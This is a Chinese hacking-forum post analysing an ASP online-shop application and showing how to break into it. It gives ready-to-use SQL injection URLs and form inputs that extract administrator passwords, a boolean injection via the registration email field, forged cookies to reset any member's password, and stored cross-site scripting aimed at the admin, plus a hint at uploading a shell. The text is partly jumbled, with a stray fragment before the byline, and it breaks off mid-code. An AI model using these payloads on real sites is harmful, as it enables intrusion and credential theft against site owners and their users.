找回密码
 注册
搜索
热搜: 回贴

对网软网上购物系统的一点点分析(图)

2010-1-12 20:25| 发布者: admin| 查看: 183| 评论: 0|原作者: 小可爱



"

else



......中间省略............



do while not rs.eof and pages>0

neirong=rs("neirong")

riqi=rs("riqi")

isnew=rs("isnew")

fname=rs("fname")

id=rs("id")

if pages<10 then response.write ""

%>



......中间省略............






<%=replace(neirong,vbCRLF,"

")%>




在输入的时候只把回车换成了
.我们只要在写跨站代码的时候别加回车就行了!

在留言那里写上:
CODE:

这样在管理员查看留言的时候就会自动打开数据库备份页进行数据库备份,备份后会在databackup目录下生成一个test.mdb







别的漏洞还有很多 有兴趣的朋友自己再看看代码吧...

拿SHELL的话冲进后台上传个图片备份吧。


作者:NinTy
来源:http://www.hackm.com/
很糟糕的一套程序,我ASP不太熟悉,哪里写错了还请各位大牛指点!



注入:

共发现3个可注入的地方:

Products.asp 发生在浏览产品的时候

代码如下:
CODE:
<%set rss=server.CreateObject("adodb.recordset")

rss.open "select * from products where bookid="&request.querystring("id"),conn,1,3 //这里,取得id直接拼到了SQL语句里,注入产生了。!

if rss.eof or bof then

response.write ""

response.end

end if

dim des

if not rss("metad")="" then

des=rss("metad")

end if

if not rss("metak")="" then

keya=rss("metak")

end if

%>

<%=webname%>--商品详细信息













<%if IsNumeric(request.QueryString("id"))=False then

response.write("")

response.end

end if
这里有一个有趣的问题哈,在查完库以后,才对ID进行检测,不知道这个程序员是怎么想的!

构造注入语句如下:
CODE:
http://localhost/shangwu/products.asp?id=353 union select ’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,admin,password,’1’,’1’ from admin
我用的FF,因为后面的javascript的干扰有可能会导致看不到结果。用FF把JS禁用掉 。提交以后,查看网页源代码,得到管理员的账号与密码:





Getpwd2.asp 发生在找回密码的时候,代码如下:
CODE:
<%

username=request.form("username") //直接从表单里拿到username的值

set rs=Server.CreateObject("Adodb.Recordset")

sql="select * from [YX_User] where name=’"&username&"’ " //放入SQL语句 执行 ,注入发生了

rs.open sql,conn,1,1

If rs.eof Then

%>

。。。省略。。。

<%if rs("Clue")<>"" then%>



问 题:

<%=rs("Clue")%> //这里 输出Clue列的值,可以利用这里直接输出一个我们想要的列的值
在找回密码的框里输入:
CODE:
admin’ union select

’1’,’1’,’1’,password,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’

,’1’,’1’,’1’,’1’,’1’,’1’,’1’,’1’ from admin where ’’=’


" border=0 >



下一步,直接拿到了管理员密码:







3.Register.asp 发生在注册用户的时候
CODE:
set rs=server.CreateObject("adodb.recordset")

rs.open "select * from [YX_User] where Mail=’"&trim(request("useremail"))&"’ or Name=’"&trim(request("username"))&"’",conn,1,1 //直接拿到了useremail和username,就加到了SQL里。

if rs.recordcount>0 then //如果查询出来的记录数大于0

call usererr() //调用usererr()

rs.close

else
其中usererr()的内容是
CODE:
sub usererr()

response.write "
"

response.write "
"

response.write "

· 用户注册失败!

· 您输入的用户名或e-mail地址已存在,请返回重新输入!

· 返回上一页

"

end sub
我们可以在useremail里做手脚。输入一个不存在的用户名与一个不存在的email,然后在email里再加上我们的注入语句,如果提示用户名或者EMAIL已存在,就说明我们附加的SQL语句是成立的!

如图:







EMAIL那里输入的是:321564654@123.com ’ or exists (select * from admin) or ’’<>’

结果:因为存在admin表,如果把admin改成aa,提交以后看到的就是空白页







更改任意用户密码:

发生在修改会员密码的页面,

看处理页面是如何处理的:
CODE:
action=request.QueryString("action")

username=request.cookies("Cnhww")("username") //username是从Cookie里取到的

select case action

。。。。省略 。。。。。

case "savepass"

set rs=server.CreateObject("adodb.recordset")

rs.open "select * from [YX_User] where name=’"&username&"’",conn,1,3

if trim(request("userpassword"))<>"" then

rs("password")=md5(trim(request("userpassword"))) //如果userpassword不为空,就进行修改

end if

rs.update

rs.close

set rs=nothing

response.Write ""

response.End

。。。。省略。。。。

end select
我们可以伪造Cookie来修改任何会员的密码。!



先用我们注册好的用户进入会员中心,点修改密码,打开WSE抓数据包。抓到的内容:







把username=ninty 改成username=admin,这里我们修改admin这个用户的密码。Usernamepassword=123456&userpassword2=123456,这样就把它的密码改成了123456,

这个admin只是一个普通用户,并不是后台的管理员。管理员信息没保存在这个表里。

保存后用NC提交。







到前台用123456登陆。成功!







跨站

问题发生在会员留言那里:mymsg_hand1.asp
CODE:
sql="select * from sms"

set rs=server.createobject("adodb.recordset")

rs.open sql,conn,1,3

rs.addnew

rs("name")="admin"

neirong=request.form("neirong") ///入库的时候没有过滤

neirong=replace(neirong,"=======","======")

rs("neirong")=neirong

rs("riqi")=now()

rs("fname")=request.cookies("cnhww")("username")

rs.update

rs.close

set rs=nothing



response.write ""

response.end



conn.close

set conn=nothing
我们再看出库的时候有没有过滤呢?

Hand1.asp:
CODE:
set rs=Server.CreateObject("ADODB.recordset")

sql="select * from sms where (name=’管理员’ or name=’admin’) and zuti=’0’ order by riqi desc"

rs.open sql,conn,1,3



if rs.eof and rs.bof then

response.write "
收件箱中没有消息。

最新评论

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-29 11:28 , Processed in 0.187613 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部